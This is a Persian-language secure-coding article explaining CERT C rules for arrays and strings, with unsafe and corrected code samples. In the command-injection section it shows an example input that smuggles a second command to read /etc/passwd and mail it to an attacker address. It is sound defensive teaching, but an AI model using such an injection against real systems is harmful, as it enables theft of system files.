برنامه‌نويسی امن با زبان C – آرايه‌ها و رشته‌ها

برنامه‌نويسی امن با زبان C – آرايه‌ها و رشته‌ها

تاریخ ایجاد

IRCAR201008070
عنصر اصلي در برنامه نويسي امن با زبان هاي مختلف برنامه نويسي، مستند سازي خوب و استفاده از استانداردهاي قابل اجرا است. استانداردهاي كدنويسي، برنامه نويسان را ترغيب به پيروي از مجموعه اي متحدالشكل از قوانين و راهنماييها مي كند كه بر اساس نيازمندي هاي پروژه و سازمان تعيين شده است، نه بر اساس سلايق و مهارت هاي مختلف برنامه نويسان. به محض تعيين استانداردهاي مذكور، مي توان از آن به عنوان معياري براي ارزيابي كدهاي منبع، چه به صورت دستي و چه به صورت اتوماتيك استفاده كرد.
از استانداردهاي معروف در اين زمينه مي توان به استانداردCERT براي كدنويسي امن اشاره كرد كه يك سري از قوانين و پيشنهادات را براي كد نويسي امن با زبان هاي برنامه نويسي C، C++ و جاوا ارائه مي دهد. هدف از اين قوانين و پيشنهادات، حذف عادت هاي كدنويسي ناامن و رفتارهاي تعريف نشده است كه منجر به آسيب پذيري هاي قابل سوءاستفاده مي شود. به كارگيري استانداردهاي مذكور منجر به توليد سيستم هاي با كيفيت بالاتر مي شود كه در برابر حملات بالقوه، پايدارتر و مقاوم تر هستند.
در مقاله "آشنايي با استاندارد CERT براي برنامه نويسي امن"، كليات استاندارد CERT در زمينه مزبور را توضيح داديم و در سري مقاله هاي برنامه نويسي امن به زبان C به صورت تخصصي تر شيوه برنامه نويسي امن با اين زبان را مورد بررسي قرار مي دهيم. قابل ذكر است كه در اين استاندارد 89 قانون و 134 پيشنهاد براي برنامه نويسي امن با زبان C ارائه شده است كه در اين سري مقالات، مهمترين آنها را كه در سطح يك قرار دارند، شرح خواهيم داد. براي كسب اطلاعات بيشتر در مورد سطح بندي قوانين و پيشنهادات به مقاله "آشنايي با استاندارد CERT براي برنامه نويسي امن" مراجعه فرماييد. در مقاله حاضر در مورد قوانين و پيشنهادات سطح اول ارائه شده در مورد آرايه ها و همچنين پيشنهادات سطح اول ارائه شده براي رشته ها صحبت خواهيم كرد و در مقاله بعدي به قوانين ارائه شده سطح اول در مورد رشته ها خواهيم پرداخت.

آرايه ها
11. پيشنهاد ARR01-C: زماني كه قصد به دست آوردن اندازه آرايه را داريد، از عملگر sizeof بر روي اشاره گر به آرايه استفاده نكنيد.
عملگر sizeof، اندازه عملوند خود بر اساس تعداد بايت را بر مي گرداند كه عملوند مذكور مي تواند يك عبارت يا نام يك نوع در پرانتز باشد. با اين وجود، استفاده از sizeof براي تعيين اندازه يك آرايه، اشتباهي مصطلح است. براي مثال در كد زير تابع clear براي قرار دادن صفر در تمام عناصر آرايه ايجاد شده است و در حلقه For براي به دست آوردن اندازه آرايه از عملگر sizeof به صورت اشتباه استفاده شده است. در اينجا sizeof(array) برابر با sizeof(int *) است.

void clear(int array[]) {

for (size_t i = 0; i < sizeof(array) / sizeof(array[0]); ++i) {

array[i] = 0;
براي اصلاح كد فوق لازم است اندازه آرايه نيز به تابع clear ارسال شود:

void clear(int array[], size_t len) {

for (size_t i = 0; i < len; i++) {

array[i] = 0; }}

12. قانون ARR31-C: براي تعريف آرايه از يك نماد يكسان در سراسر كد استفاده كنيد.
از يك نماد يكسان براي تعريف متغيرها، از جمله آرايه ها، در فايل ها و زير برنامه هاي مختلف استفاده كنيد. البته نياز به اين كار معمولاً به صورت واضح احساس نمي شود زيرا آرايه ها در زمان ارسال به عنوان آرگومان يك تابع، تبديل به اشاره گر مي شوند و لذا درون يك فايل دو تعريف زير يكسان هستند:

void func(char *a);
void func(char a[]);

اما در خارج از اعلان توابع، اين تعاريف در صورتي كه آرايه يك جا به صورت اشاره گر و در فايلي ديگر با استفاده از نماد آرايه تعريف شود، يكسان نيستند.
13. قانون ARR33-C: در زمان كپي داده ها در يك آرايه، از اندازه كافي حافظه مقصد براي نگهداري داده هاي كپي شده، اطمينان حاصل كنيد.
كپي كردن داده ها در آرايه اي كه به اندازه كافي براي نگهداري داده مذكور، بزرگ نيست منجر به خطاي سرريز بافر مي شود. براي ممانعت از بروز چنين خطا، بايد حجم داده هايي كه در آرايه مقصد كپي مي شوند بر مبناي اندازه آرايه مقصد محدود شوند، يا ترجيحاً آرايه مقصد به اندازه كافي براي جا دادن داده هاي كپي شده، بزرگ باشد.

رشته ها
رشته ها يكي از مفاهيم پايه در مهندسي نرم افزار هستند، اما در زبان C به صورت پيش فرض تعريف نشده اند. فرمتي كه براي پشتيباني متغيرهاي رشته اي در C استفاده مي شودNull-terminated byte string يا NTBS ناميده مي شود. اين نوع، حاوي توالي پيوسته اي از كاراكترها است كه اولين و آخرين آنها null است. زبان برنامه نويسي C رشته هاي كاراكتري تك بايتي، چند بايتي و Wide را پشتيباني مي كند. هر دو رشته هاي كاراكتري تك بايتي و چند بايتي به عنوان رشته هاي منتهي به null شناخته مي شوند و اصطلاحاً به آنها رشته هاي كاراكتري narrow گفته مي شود.
رشته ها در زبان برنامه نويسي C همچون آرايه اي كاراكترها پياده سازي مي شوند و لذا بسياري از مشكلات آنها همانند آرايه ها است. در نتيجه، قوانين و پيشنهادات ارائه شده براي آرايه ها در اينجا نيز بايد به كار گرفته شوند.
14. پيشنهاد STR00-C: كاراكترها را با استفاده از نوع مناسب نمايش دهيد.
با وجودي كه هيچ كجا انواع كاراكترهاي C به صورت واضح تعريف نشده اند، اما C استاندارد از فلسفه زير براي انتخاب انواع كاراكتر استفاده مي كند:
كاراكترهاي علامت دار (signed char) و بي علامت (unsigned char) كه براي مقادير عدد صحيح كوچك مناسب هستند.
كاراكتر ساده (plain) كه به عنوان عنصر پايه رشته شناخته مي شود و به مجموعه محدودي از كاراكترها تعلق دارد.
Int، براي داده هايي استفاده مي شود كه به عنوان كاراكتر بدون علامت تفسير مي شوند و سپس تبديل به int مي شوند و توسط توابع fgetc()، getc()، getchar() و ungetc() برگردانده مي شوند. همچنين اين نوع توسط توابع مربوط به كاراكترها در <ctype.h> نيز پذيرفته مي شود.
كاراكتر بدون علامت يا unsigned كه معمولاً در توابع مقايسه رشته ها استفاده مي شود.
Wchar_t در واقع كاراكترهاي wide هستند كه براي داده هاي كاراكتري زبان طبيعي مورد استفاده قرار مي گيرند.
15. پيشنهاد STR02-C: داده هاي ارسالي به زيرسيستم هاي پيچيده را پاكسازي كرده و سپس ارسال كنيد.
داده هاي رشته اي كه به زير سيستم هاي پيچيده ارسال مي شوند، ممكن است حاوي كاراكترهاي مخصوصي باشند كه دستور يا كنشي را فعال كنند و منجر به يك آسيب پذيري در نرم افزار شوند. در نتيجه، پاكسازي داده هاي رشته اي مطابق با سيستمي كه در آن تفسير مي شوند، امري بسيار ضروري است. منظور از زيرسيستم هاي پيچيده براي مثال فراخواني system()، برنامه هاي خارجي، پايگاه داده رابطه اي و اجزاي COTS متفرقه مي باشند. براي نمونه كد زير داراي آسيب پذيري است:

sprintf(buffer, "/bin/mail %s < /tmp/email", addr);
system(buffer);

زيرا يك كاربر خرابكار مي تواند رشته زير را به جاي آدرس ايميل وارد كند:

bogus@addr.com; cat /etc/passwd | mail some@badguy.net

براي اصلاح كد مذكور بايد به صورت زير عمل كرده و كاراكترهاي قابل قبول را به روشني تعريف كرد تا از سوءاستفاده هاي احتمالي جلوگيري به عمل آيد:

static char ok_chars[] = "abcdefghijklmnopqrstuvwxyz"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"1234567890_-.@";
char user_data[] = "Bad char 1:} Bad char 2:{";
char *cp; /* cursor into string */
const char *end = user_data + strlen( user_data);
for (cp = user_data; cp != end; cp += strspn(cp, ok_chars)) {
*cp = '_';
}

16. پيشنهاد STR06-C: فرض نكنيد كه تابع strtok() رشته ارسال شده به آن را بدون تغيير رها مي كند.
در استاندارد ISO/IEC 9899:1999، تابع strtoke() يك تابع جداكننده كلمات در رشته ها است كه دو آرگومان را مي گيرد: يك رشته اوليه كه بايد تجزيه شود و يك كاراكتر ثابت كه به عنوان كاراكتر جداكننده در نظر گرفته مي شود. اين تابع يك اشاره گر به اولين كاراكتر يك كلمه را بر مي گرداند و در صورتي كه كلمه اي موجود نباشد null را بر مي گرداند.
اولين باري كه strtoke() صدا زده مي شود، رشته توسط كاراكتر جدا كننده كلمات تجزيه مي شود، به اين ترتيب كه تابع مذكور رشته را مرور مي كند تا به اولين نمونه كاراكتر جداكننده برسد، سپس اين كاراكتر را در جا با يك بايت null (‘’) جايگزين مي كند و سپس آدرس اولين كاراكتر كلمه را بر مي گرداند. فراخواني هاي بعدي تابع strtoke()، تجزيه را بلافاصله بعد از آخرين كاراكتر null شروع مي كند.
از آنجايي كه اين تابع، رشته اوليه را دستكاري كرده و تغيير مي دهد، لذا استفاده هاي بعدي از اين رشته نامطمئن است. در صورتي كه نياز داريد رشته اوليه شما دست نخورده باقي بماند، بايد آن را در يك بافر كپي كرده و آدرس بافر را به strtok() ارسال كنيد. يك راه ديگر اين است كه خود تابعي مشابه strtoke را طراحي كنيد كه رشته اوليه را تغيير نمي دهد.
در زير يك نمونه كد نا مطمئن را مشاهده مي كنيد:

char *token;
char *path = getenv("PATH");

token = strtok(path, ":");
puts(token);

while (token = strtok(0, ":")) {
puts(token);
}

printf("PATH: %sn", path);
/* PATH is now just "/usr/bin" */

براي اصلاح كد مذكور لازم است آن را به صورت زير تغيير داد:

char *token;
const char *path = getenv("PATH");
/* PATH is something like "/usr/bin:/bin:/usr/sbin:/sbin" */

char *copy = (char *)malloc(strlen(path) + 1);
if (copy == NULL) {
/* handle error */
}
strcpy(copy, path);
token = strtok(copy, ":");
puts(token);

while (token = strtok(0, ":")) {
puts(token);
}

free(copy);
copy = NULL;

printf("PATH: %sn", path);
/* PATH is still "/usr/bin:/bin:/usr/sbin:/sbin" */


17. پيشنهاد STR07-C: از استاندارد TR 24731 براي اصلاح توابع دستكاري رشته ها استفاده كنيد.
استاندارد ISO/IEC TR 24731، نسخه هاي جايگزيني از توابع C استاندارد را تعريف مي كند كه به عنوان جايگزين هاي مطمئن تري نسبت به توابع موجود طراحي شده اند. براي مثال قسمت اول ISO/IEC TR 24731، توابع strcpy_s()، strcat_s()، strncpy_s() و strncat_s() را به جاي توابع strcpy()، strcat()، strncpy() و strncat() معرفي مي كند. اين قسمت ابتدا توسط مايكروسافت براي اصلاح كدهايي ايجاد شد كه در دهه پيش از آن با رخدادهاي امنيتي زيادي روبرو شده بودند و سپس توابع مذكور به كارگروه بين المللي استاندارد سازي زبان C پيشنهاد شد.
براي مثال تابع strcpy_s() داراي امضاي زير است:

errno_t strcpy_s(
char * restrict s1,
rsize_t s1max,
const char * restrict s2
);

اين امضا مشابه strcpy() است ولي يك آرگومان اضافي rsize_t را مي گيرد كه مشخص كننده حداكثر طول بافر مقصد است. عملكرد اين تابع نيز شبيه strcpy() است و كاراكترهاي منبع را در آرايه كاراكترهاي مقصد كپي مي كند و در صورتي كه عمليات موفقيت آميز باشد صفر را بر مي گرداند. عمليات تنها در صورتي موفقيت آميز است كه رشته منبع به صورت كامل و بدون اينكه سرريزي در بافر مقصد رخ دهد در مقصد كپي شود.
يك نمونه كد ناامن كه ممكن است منجر به سرريز بافر شود در زير آورده شده است:

void complain(const char *msg) {
static const char prefix[] = "Error: ";
static const char suffix[] = "n";
char buf[BUFSIZ];

strcpy(buf, prefix);
strcat(buf, msg);
strcat(buf, suffix);
fputs(buf, stderr);
}

در صورتي كه كد مذكور به صورت زير تغيير كند، تبديل به يك كد امن شده و منجر به سرريز بافر نمي شود. در اين كد، از توابع جايگزين در استاندارد ISO/IEC TR 24731 استفاده شده و حالت خطا نيز در نظر گرفته شده است:

void complain(const char *msg) {
errno_t err;
static const char prefix[] = "Error: ";
static const char suffix[] = "n";
char buf[BUFSIZ];

err = strcpy_s(buf, sizeof(buf), prefix);
if (err != 0) {
/* handle error */
}

err = strcat_s(buf, sizeof(buf), msg);
if (err != 0) {
/* handle error */
}

err = strcat_s(buf, sizeof(buf), suffix);
if (err != 0) {
/* handle error */
}

fputs(buf, stderr);
}

در اين مقاله در مورد پيشنهادات ارائه شده براي رشته ها توضيح داده شد و در مقاله بعدي از اين سري مقالات، در مورد قوانين ارائه شده براي رشته ها صحبت خواهيم كرد.

برچسب‌ها